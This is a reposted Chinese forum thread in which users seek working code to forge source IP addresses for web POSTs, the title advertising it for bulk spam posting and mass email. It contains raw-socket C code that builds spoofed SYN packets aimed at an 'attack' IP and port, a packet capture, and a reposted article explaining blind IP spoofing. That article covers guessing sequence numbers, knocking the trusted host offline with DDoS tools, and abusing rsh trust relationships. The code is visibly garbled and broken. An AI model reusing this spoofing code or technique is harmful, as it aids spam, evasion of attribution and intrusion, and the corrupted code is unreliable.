您的位置:首页 > 大数据 > 人工智能

【论坛转贴】IP spoof欺骗关于修改ip源向网页post的方法,伪造虚假IP来源!可用于群发发贴机拱贴机邮件EMail群发!!!!!!

2009-01-04 18:25 609 查看
【论坛转贴】IP spoof欺骗,关于修改ip源向网页post的方法,伪造虚假IP来源!可用于群发发贴机拱贴机邮件EMail群发!!!!!!
现在我急需这段程序,有好心的人帮我解决一下吗
这是一段修改ip头的程序。
这段程序发给本机WEB上的test.asp文件,test.asp再按post参数工作。
可是我怎么弄也弄不好,实在摸不到头脑,请大哥大姐指点迷津。
#include "stdafx.h"
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <winbase.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib,"WS2_32.LIB")


typedef struct tag_ip_Header //ip首部

{


unsigned char h_verlen;
//4位手部长度,和4位IP版本号


unsigned char tos;
//8位类型服务


unsigned short total_len;
//16位总长度

unsigned
short ident;
//16位标志

unsigned short frag_and_flags; //3位标志位(如SYN,ACK,等等)


unsigned char ttl;
//8位生存时间


unsigned char proto;
//8位协议


unsigned short checksum;
//ip手部效验和

unsigned
int SourceIP;
//伪造IP地址

unsigned int
DestIP;
//攻击的ip地址

}IPHEADER;



typedef struct tag_tcp_Header

{


USHORT th_sport;
//伪造端口


USHORT th_dport;
//攻击端口


unsigned int th_seq;
//32位系列号


unsigned int th_ack;
//32位确认号


unsigned char th_lenres;
//4位首布长度,6位保留字

unsigned
char th_flag;
//6位标志位

USHORT th_win;

//16位窗口大小

USHORT
th_sum;
//16位效验和


USHORT th_urp;
//

}TCPHEADER;



typedef struct tag_tsd_Header

{


unsigned long saddr;
//伪造地址


unsigned long daddr;
//攻击地址


char mbz;
//


char ptcl;
//协议类型


unsigned short tcpl;
//TCP长度

}TSDHEADER;



DWORD WINAPI Start(void);

HANDLE hFind[10];



//计算效验和

USHORT checksum(USHORT *buffer,int size)

{

unsigned long check=0;

while(size>1)

{

check =*buffer ;

size -=sizeof(USHORT);

}

if(size)

{

check = *(USHORT*)buffer;

}

check = (check >>16) (check & 0xffff);

check = (check >>16);

return (USHORT)(~check);
return 0;

}

//攻击线程

DWORD WINAPI Statr(void)

{

SOCKET sock;

WSADATA WSAData;

SOCKADDR_IN syn_in;

IPHEADER ipHeader;

TCPHEADER tcpHeader;

TSDHEADER psdHeader;

const char *addr = "127.0.0.1"; //攻击的IP地址


int port = 80;
//要攻击的端口

if(WSAStartup(MAKEWORD(2,2),&WSAData))

{
printf("1");


return false;

}

if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP))==INVALID_SOCKET)

{
printf("2");

return false;

}

BOOL flag=true;

if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)

{
printf("3");
return false;

}

int Time =888;

if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)

{ printf("4");

return false;

}

syn_in.sin_family = AF_INET;

syn_in.sin_port = htons(port);

syn_in.sin_addr.S_un.S_addr = inet_addr(addr);
int kl=0;
while(TRUE)

{
if(kl >3)break;

//填充IP首部


ipHeader.h_verlen=(4<<4 ¦
sizeof(ipHeader)/sizeof(unsigned long));

ipHeader.tos=0;

ipHeader.total_len=htons(sizeof(ipHeader) sizeof(tcpHeader));

ipHeader.ident=1;

ipHeader.frag_and_flags=0;

ipHeader.ttl=(unsigned char)GetTickCount()Q4 620;

ipHeader.proto=IPPROTO_TCP;

ipHeader.checksum=0;

ipHeader.SourceIP=htonl(GetTickCount()*1986);

ipHeader.DestIP=inet_addr(addr);

//填充Tcp首部

int SourcePort =GetTickCount()*1986Q4;

tcpHeader.th_dport=htons(port);

tcpHeader.th_sport=htons(SourcePort);

tcpHeader.th_seq=htonl(0x12345678);

tcpHeader.th_ack=0;

tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4 ¦0);

tcpHeader.th_flag=2;

tcpHeader.th_win=htons(620);

tcpHeader.th_urp=0;

tcpHeader.th_sum=0;

//填充TCP伪首部用来计算TCP头部的效验和

psdHeader.saddr=ipHeader.SourceIP;

psdHeader.daddr=ipHeader.DestIP;

psdHeader.mbz=0;

psdHeader.ptcl=IPPROTO_TCP;

psdHeader.tcpl=htons(sizeof(tcpHeader));

//计算校验和

char SendBuff[4096];
_snprintf(SendBuff, 4096, "POST /test.asp HTTP/1.1/r/n"
"Host: www.cnjob.org.cn/r/n"
"Content-Type: application/x-www-form-urlencoded/r/n"
"Content-Length: 4096/r/n"
"/r/n"
"id=111/r/n");
memcpy(SendBuff, &psdHeader, sizeof(psdHeader));

memcpy(SendBuff sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));

tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader) sizeof(tcpHeader));

memcpy(SendBuff, &ipHeader, sizeof(ipHeader));

memcpy(SendBuff sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));



//发送数据包


int Syn=sendto(sock, SendBuff,
sizeof(ipHeader) sizeof(tcpHeader), 0, (struct
sockaddr*)&syn_in, sizeof(syn_in));

if(Syn==SOCKET_ERROR)

{
printf("5");
return false;

}

}
return true;

}

int APIENTRY WinMain(HINSTANCE hInstance,


HINSTANCE hPrevInstance,

LPSTR
lpCmdLine,

int nCmdShow)

{ //启动线程,10,大家可以自己改

for(int i=0;i<1;i )

{

hFind[i-1]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL);

i--;

}


return 0;

}

问题点数:100、回复次数:6

1 楼flyingakain(夜猫儿)回复于 2006-07-26 02:10:00 得分 0

这个代码好像不对
应该是TCP三次握手后,才能POST
我也在做这个,但是不成功~

===================================================================
我知道的过程大概是
Client->SYN->Server
Client<-SYN ACK<-Server
Client->ACK->Server
Client->Http Request->Server

问题1 以上过程是否正确
问题2 第三步一直是出现 Client->RST->Server 没法继续

数据包如下
===========================================================================
Packet #11, Direction: Out, Time:03:06:32.895, Size: 54
Ethernet II
Destination MAC: 00:0A:EB:D8:5A:C2
Source MAC: 52:54:AB:4F:DF:DB
Ethertype: 0x0800 (2048) - IP
IP
IP version: 0x04 (4)
Header length: 0x05 (5) - 20 bytes
Type of service: 0x00 (0)
Precedence: 000 - Routine
Delay: 0 - Normal delay
Throughput: 0 - Normal throughput
Reliability: 0 - Normal reliability
Total length: 0x0028 (40)
ID: 0x64FD (25853)
Flags
Don't fragment bit: 0 - May fragment
More fragments bit: 0 - Last fragment
Fragment offset: 0x0000 (0)
Time to live: 0x80 (128)
Protocol: 0x06 (6) - TCP
Checksum: 0x592C (22828) - correct
Source IP: 192.168.8.101
Destination IP: 210.72.225.80
IP Options: None
TCP
Source port: 1036
Destination port: 80
Sequence: 0x00198288 (1671816)
Acknowledgement: 0x00000000 (0)
Header length: 0x05 (5) - 20 bytes
Flags: SYN
URG: 0
ACK: 0
PSH: 0
RST: 0
SYN: 1
FIN: 0
Window: 0x4470 (17520)
Checksum: 0x67CE (26574) - correct
Urgent Pointer: 0x0000 (0)
TCP Options: None
Data length: 0x0 (0)
Raw Data:
0x0000 00 0A EB D8 5A C2 52 54-AB 4F DF DB 08 00 45 00 ..胴Z翿T玂咣..E.
0x0010 00 28 64 FD 00 00 80 06-59 2C C0 A8 08 65 D2 48 .(d?.€.Y,括.e襀
0x0020 E1 50 04 0C 00 50 00 19-82 88 00 00 00 00 50 02 酨...P..倛....P.

0x0030 44 70 67 CE 00 00
Dpg?.

============================================================================

Packet #12, Direction: In, Time:03:06:32.905, Size: 60
Ethernet II
Destination MAC: 52:54:AB:4F:DF:DB
Source MAC: 00:0A:EB:D8:5A:C2
Ethertype: 0x0800 (2048) - IP
IP
IP version: 0x04 (4)
Header length: 0x05 (5) - 20 bytes
Type of service: 0x00 (0)
Precedence: 000 - Routine
Delay: 0 - Normal delay
Throughput: 0 - Normal throughput
Reliability: 0 - Normal reliability
Total length: 0x002C (44)
ID: 0x5FC8 (24520)
Flags
Don't fragment bit: 1 - Don't fragment
More fragments bit: 0 - Last fragment
Fragment offset: 0x0000 (0)
Time to live: 0x74 (116)
Protocol: 0x06 (6) - TCP
Checksum: 0x2A5D (10845) - correct
Source IP: 210.72.225.80
Destination IP: 192.168.8.101
IP Options: None
TCP
Source port: 80
Destination port: 1036
Sequence: 0x26F99791 (653891473)
Acknowledgement: 0x00198289 (1671817)
Header length: 0x06 (6) - 24 bytes
Flags: SYN ACK
URG: 0
ACK: 1
PSH: 0
RST: 0
SYN: 1
FIN: 0
Window: 0x40E8 (16616)
Checksum: 0x9506 (38150) - correct
Urgent Pointer: 0x0000 (0)
TCP Options
Maximum Segment Size: 0x05AC (1452)
Data length: 0x0 (0)
Raw Data:
0x0000 52 54 AB 4F DF DB 00 0A-EB D8 5A C2 08 00 45 00 RT玂咣..胴Z?.E.
0x0010 00 2C 5F C8 40 00 74 06-2A 5D D2 48 E1 50 C0 A8 .,_菮.t.*]襀酨括
0x0020 08 65 00 50 04 0C 26 F9-97 91 00 19 82 89 60 12 .e.P..&鶙?.倝`.

0x0030 40 E8 95 06 00 00 02 04-05 AC 00 00
@钑......?.

============================================================================

Packet #13, Direction: Out, Time:03:06:32.915, Size: 54
Ethernet II
Destination MAC: 00:0A:EB:D8:5A:C2
Source MAC: 52:54:AB:4F:DF:DB
Ethertype: 0x0800 (2048) - IP
IP
IP version: 0x04 (4)
Header length: 0x05 (5) - 20 bytes
Type of service: 0x00 (0)
Precedence: 000 - Routine
Delay: 0 - Normal delay
Throughput: 0 - Normal throughput
Reliability: 0 - Normal reliability
Total length: 0x0028 (40)
ID: 0x64FE (25854)
Flags
Don't fragment bit: 0 - May fragment
More fragments bit: 0 - Last fragment
Fragment offset: 0x0000 (0)
Time to live: 0x80 (128)
Protocol: 0x06 (6) - TCP
Checksum: 0x592B (22827) - correct
Source IP: 192.168.8.101
Destination IP: 210.72.225.80
IP Options: None
TCP
Source port: 1036
Destination port: 80
Sequence: 0x00198289 (1671817)
Acknowledgement: 0x00198289 (1671817)
Header length: 0x05 (5) - 20 bytes
Flags: RST
URG: 0
ACK: 0
PSH: 0
RST: 1
SYN: 0
FIN: 0
Window: 0x0000 (0)
Checksum: 0x2999 (10649) - correct
Urgent Pointer: 0x0000 (0)
TCP Options: None
Data length: 0x0 (0)
Raw Data:
0x0000 00 0A EB D8 5A C2 52 54-AB 4F DF DB 08 00 45 00 ..胴Z翿T玂咣..E.
0x0010 00 28 64 FE 00 00 80 06-59 2B C0 A8 08 65 D2 48 .(d?.€.Y 括.e襀
0x0020 E1 50 04 0C 00 50 00 19-82 89 00 19 82 89 50 04 酨...P..倝..倝P.

0x0030 00 00 29 99 00 00
..)?.

============================================================================

2 楼whwjn(哈哈)回复于 2006-07-26 04:45:11 得分 0

IP Spoof技术介绍

 2000年以来,互联网上黑客新闻不断,比如今年3月发生在北京的黑客攻击事件,几家较为著名的ISP相继宣称被同一站点入侵,证据是在受害主机上通过
某种形式得到了属于被指控站点的IP纪录,而被指责方则宣称是有人恶意假冒该方IP,而且这种假冒非常容易实现。
双方各执一词,争论不下,一方认定攻击来自被指责方,一方则辩解说假冒IP实现极为简单,自己是被人暗算。

   那么,从技术角度讲,假冒IP是否可行,实现起来是不是那么简单呢?我们今天就谈谈这个话题,IP spoof (IP 电子欺骗)。


第一部分

   1.什么是IP spoof?

   IP spoof即IP 电子欺骗,我们可以说是一台主机设备冒充另外一台主机的IP地址,与其它设备通信,从而达到某种目的技术。

   2.IP spoof可以实现吗?


   可以实现,早在1985年,贝尔实验室的一名工程师Robbert Morris在他的一篇文章A weakness in
the 4.2bsd unix TCP/IP software中提出了IP spoof的概念,有兴趣的读者可参见原文:
http://www.coast.net/~emv/tubed/archives/Morris_weakness_in_TCPIP.txt

但要注意的是单纯凭借IP spoof技术不可能很好的完成一次完整的攻击,因为现有IP spoof技术是属于一种“盲人”式的入侵手段,下面会解释“盲人”的概念。

   3.IP spoof的实现原理


   我们知道,IP是网络层的一个非面向连接的协议, IP数据包的主要内容由源IP地址,目地IP地址,所传数据构成,
IP的任务就是根据每个数据报文的目的地址,路由完成报文从源地址到目的地址的传送。至于报文在传送过程中是否丢失或出现差错,
IP不会考虑。对IP来讲,源设备与目的设备没有什么关系,它们是相互独立的。IP包只是根据数据报文中的目的地址发送,因此借助高层协议的应用程序来伪
造IP地址是比较容易实现的。
与此同时,TCP作为保障两台通讯设备之间数据有保证的顺序传输的协议,是面向连接的,它需要连接双方?quot;同意"才能进行通讯。TCP传输双方传
送的每一个字节都伴随着一个序列号(SEQ),它期待对方在接收到后产生一个应答(ACK),
应答一方面通知对方数据成功收到,另一方面告知对方希望接收的下一个字节。同时,任何两台设备之间欲建立TCP连接都需要一个两方确认的起始过程,称三次
握手,可分解如下面来表示:

   第一步:请求方向服务方发送SYN,表示想发起一次TCP连接。我们假定这次的序列号是某个数值X
Trust ->Target
SYN
SEQ:X


   第二步:服务方产生SYN,ACK响应,并向请求方发送ACK, ACK的值为X
1,表示数据成功接收到,且告知下一次希望接收到字节的SEQ是X 1。同时, 服务方向请求方发送自己的SEQ,
我们假定它的序列号是某个数值Y。
Target -> Trust
SYN,ACK
SEQ:Y
ACK:X 1

   第三步: 请求方向服务方发送ACK,表示接收到服务方的回应。这次它的SEQ值为X 1,同时它的ACK值为Y 1,原理同上。
Trust ->Target
ACK
SEQ:X 1
ACK:Y 1

   完成这一步以后, 请求方与服务方之间的连接开放,数据可以进行传输了。


第二部分
   上面是标准TCP连接建立的过程,我们来看IP Spoof状态下的三次握手会是什么一种情况。


   第一步、Hack假冒Trust主机IP向服务方Target发送SYN,告诉Target
来自他所信任的Trust主机想发起一次TCP连接,序列号为数值X,这一步实现比较简单,
Hack将IP包的源地址伪造为Trust主机IP地址即可。
Hack ->Target
SYN
SEQ:X


  
要注意的是,在攻击的整个过程中,必须使Trust主机与网络的正常连接中断。因为SYN请求中IP包源地址是Trust主机的,当Target收到
SYN请求时,将根据IP包中源地址反馈ACK,SYN给Trust主机, 但事实上Trust并未向Target发送SYN请求,
所以Trust收到后会认为这是一次错误的连接,从而向Target回送RST,中断连接。这可不是我们所企求的。为了解决这个问题,在整个攻击过程中我
们需要设法停止Trust主机的网络功能,这一实现很简单,用现在威力很强大的tfn2k之类的分布式拒绝服务软件攻击Trust主机,使之拒绝服务即
可,(可参考作者另一篇文章《分布式拒绝服务软件》见www.chinabyte.com的网络学院部分)这里就不介绍了。


  
第二步、服务方Target产生SYN,ACK响应,并向请求方Trust主机(注意:是Trust,不是Hack,因为Target收到的IP包的源地
址是Trust)发送ACK, ACK的值为X 1,表示数据成功接收到,且告知下一次希望接收到字节的SEQ是X
1。同时,Target向请求方Trust发送自己的SEQ,注意,这个数值对Hack是不可见的!!
Target -> Trust
SYN,ACK
SEQ:?
ACK:X 1

   第三步、Hack再次向服务方发送ACK,表示接收到服务方的回应——虽然实际上他并没有收到服务方Targe的SYN,ACK响应。这次它的SEQ值为X 1,同时它必须猜出ACK的值!!并加一后回馈给Target。
Hack ->Target
ACK
SEQ:X 1
ACK:? 1


   如果Hack能成功的猜出Target 的ACK值,那么TCP的三次握手就宣告成功,
Target会将Hack看作Trust主机,IP spoof最关键的技术部分得到解决! 但有一点要清楚, Hack
主机这种连接是“盲人”式的,Hack永远不会收到来自Target的包,因为这些反馈包都被路由到Trust主机那里了(除非黑客能将相关骨干点的路由
表内容做改动,记住:IP是独立的,它只是根据源地址,目的地址在互联网上路由传送。而在Hack向Target发送的三次握手IP包中源地址是宣称为
Trust主机的) 我们可以不恰当的举个简单例子, Hack在Target上执行ls -l
/,在Hack的屏幕上不会看到任何反馈,尽管事实上Target列出了根目录下的所有内容——Target将ls -l
/结果送到了Trust主机。

   由上我们可以看出, IP
spoof成功的关键在于猜出在第二步服务方所回应的SEQ值,有了这个值,TCP连接方可成功的建立。在早期,这是个令人头疼的问题,但随着IP
spoof攻击手段的研究日益深入,一些专用的算法,技术得到应用,并产生了一些专用的c程序,如SEQ-scan,yaas等。当黑客得到这些c程序
时, 一切问题都将迎刃而解。


第三部分




   在现实中投入应用的IP spoof一般被用于有信任关系的服务器之间的欺骗。假设网上有Target, Trust,
Hack三台主机, Target为我们打算愚弄的主机,
Trust和Target有基于IP地址的信任关系,也就是说拥有Trust主机IP地址的设备上的用户不需要账号及密码即可进入Target。(使用
window操作系统比较习惯的读者可以把这种信任理解为局域网环境下的PC间无需密码的硬盘共享)既然如此,那么我们就可以在Hack上做手脚假冒
Trust主机IP地址从而骗取Target的信任。
这种信任在unix中体现为r服务,比如一个大型网站的管理员除了自己的一台IP为11.22.33.44工作站外还拥有几打的sun
服务器,他厌倦了一次次在各个服务器上登录时等待并输入username,passwd,那么他可以在每台服务器的根目录下生成.rhosts文件,内容
为11.22.33.44
,这表示如果11.22.33.44这个IP有要求,服务器都无条件的提供可信的r服务。举例来讲,在11.22.33.44上执行rsh -l
root server1.Yiming.com csh
-i,则该管理员即直接进入server1.Yiming.com,不需要任何账号密码。除了这种为了省事的偷懒用途,
r服务在目前的网络最多的被用来远程备份,远程磁带设备和需备份文件必须有信任关系。

   好了,在上例中如果我们能假冒11.22.33.44这个IP,那么将会是什么样子?每一台信任它的服务器都会被控制!这才是管理员需要引起的注意的。

   由上我们看到,因为TCP/IP本身的漏洞,IP spoof是有实现条件的,但在目前的互联网中,假冒它人IP,然后利用这个IP去攻击和这个IP无信任的关系的主机从理论上依然很难行的通。

3 楼hhyytt(鹦鹉螺)回复于 2006-07-26 08:07:33 得分 0

GR!学习。

4 楼cjjjd()回复于 2006-07-26 09:09:10 得分 0

大哥们给个学习示例吧?
照顾一下初学网络编程的我

5 楼flyingakain(夜猫儿)回复于 2006-07-26 17:38:49 得分 0

没有人知道么?

6 楼cjjjd()回复于 2006-07-27 09:22:34 得分 0

难度是如何取得第二次握手时的seq值
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: